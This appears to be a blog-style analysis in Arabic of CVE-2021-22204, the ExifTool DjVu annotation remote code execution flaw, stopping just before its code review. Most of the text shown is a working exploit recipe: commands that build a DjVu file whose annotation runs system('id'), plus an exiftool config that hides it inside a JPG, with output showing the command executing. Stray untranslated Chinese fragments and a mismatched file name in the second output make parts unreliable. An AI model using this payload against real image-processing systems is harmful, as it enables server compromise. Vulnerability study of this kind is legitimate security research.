
تحليل تقني متعمق لـ CVE-2021-22204 (ثغرة تنفيذ الأوامر عن بعد في ExifTool) مع إعادة إنتاج إثبات المفهوم، بناء الحمولة، ومراجعة كود Perl لمحلل تعليقات DjVu المعرض للخطر.
من المفترض أن يكون هذا مقال تحليل لـ CVE-2021-22204، لكنه أشبه بدفتري ملاحظات، مكتوب فيه الكثير من الأشياء الفوضوية. قد تكون المقالة ثرثارة بالنسبة لتحليل الثغرات، لكنني تعلمت الكثير منها.
بصراحة، لم أستخدم هذه الأداة من قبل، ولم أتعامل تقريبًا مع لغة Perl، مما جعلني مليئًا بعلامات الاستفهام أثناء التحليل وحتى أثناء إعادة الإنتاج. قبل البدء في التحليل، دعنا نلقي نظرة على الـ POC المنشورة على الإنترنت، والأسئلة التي تدور في ذهني.
المقالة التي رأيتها هي [1]، والتي تشرح بإيجاز سبب الثغرة، ولكن نظرًا لأنني لا أفهم كود Perl، هناك الكثير من الأمور غير الواضحة. عملية إعادة الإنتاج كالتالي:
قم بتنزيل الإصدار 12.23 من exiftool
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
فك الضغط والتثبيت
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
بالطبع، إذا كنت لا ترغب في تثبيته، يمكنك ببساطة وضع ملف exiftool الموجود في دليل exiftool-12.23 في دليل ضمن متغير البيئة PATH، وبذلك يمكنك استخدام أداة exiftool مباشرة، لأن Perl هي لغة تفسيرية، تشبه Python.
لإنشاء صورة ضارة، قم أولاً بتثبيت الأدوات اللازمة
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
نفّذ الأمر التالي لإنشاء ملف djvu ضار
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# هذا هو أكثر ما أربكني، لا أفهم لماذا نحتاج إلى الضغط (لأن POC الأخرى لا تحتاج إليه)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = أي شيء بتنسيق 'N,N' حيث N رقم
# BGjp = يتوقع صورة JPEG، لكن يمكننا استخدام /dev/null لاستخدام لا شيء كصورة خلفية
# ANTz = سيكتب جزء التعليق المضغوط مع ملف الإدخال
ثم قم بتحليل الملف الضار باستخدام أداة exiftool، ستجد أن الأمر id قد نُفذ بنجاح
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
عند إنشاء ملف بتنسيق djvu باستخدام الأمر djvumake سابقًا، هل يمكننا عدم ضغط payload؟ لأنه من منظور التحليل، هذا لا يسهل الفحص والاختبار. بالطبع يمكن،只需将参数 ANTz 换成 ANTa. يمكن الرجوع إلى [3] للحصول على شرح ANTz و ANTa، لكنني لم أجد معانيهما الدقيقة، حيث لم أجد وصفًا قياسيًا.
ما زلت أرغب في التذمر هنا، كنت أرغب في الاطلاع على شرح المعلمات عبر
man djvumake، ولكن لم يكن هناك شرح لـANTzوANTaعلى الإطلاق، تاريخ الوثيقة هو 2001، ولم يتم تحديثها منذ فترة طويلة.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa تعني تخزين Annotation بنص عادي في metadata داخل ملف djvu، بينما ANTz هي تنسيق ضغط bzz.
لكن ملفات تنسيق djvu ليست شائعة، خاصة في المواقع التي تتيح رفع الصور، حيث تقبل في الغالب ملفات png/jpg/jpeg فقط. لذا، إذا كان بإمكاننا تحويل ملف djvu ضار إلى ملف jpg، فسيكون ذلك رائعًا.
يمكن لأداة exiftool مساعدتنا في تعديل محتوى الصورة،只需将 ملف djvu الضار إدراجه في المكان المناسب داخل ملف jpg. أما بالنسبة للمكان المحدد ولماذا يمكن أن يكون هذا المكان، فسيتم شرحه لاحقًا أثناء التحليل.
قم بإنشاء ملف تكوين exiftool باسم eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b 对应Tag 'HasselbladExif'[6]
0xc51b => {
# 名字可以随意指定,这是接收的参数名称
Name => 'HasselbladExif',
# 可写入的变量类型
Writable => 'string',
# 写入的数据归属于metadata的哪一个Group[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
يمكن الرجوع إلى [4][5] لمعرفة كيفية كتابة ملفات تكوين exiftool. ثم ابحث عن ملف صورة jpg عادي باسم poc.jpg، ونفّذ الأمر التالي
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
ثم قم بتحليل poc.jpg باستخدام exiftool، سيتم تنفيذ الأمر بنجاح
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
تعتمد عملية التحليل التالية على المحتوى الوارد في [2]، الإصدار المتأثر بالثغرة هو exiftool < 12.24، والملف المسبب للثغرة هو
lib/Image/ExifTool/DjVu.pm (line 202)
كود الدالة ذات الصلة كالتالي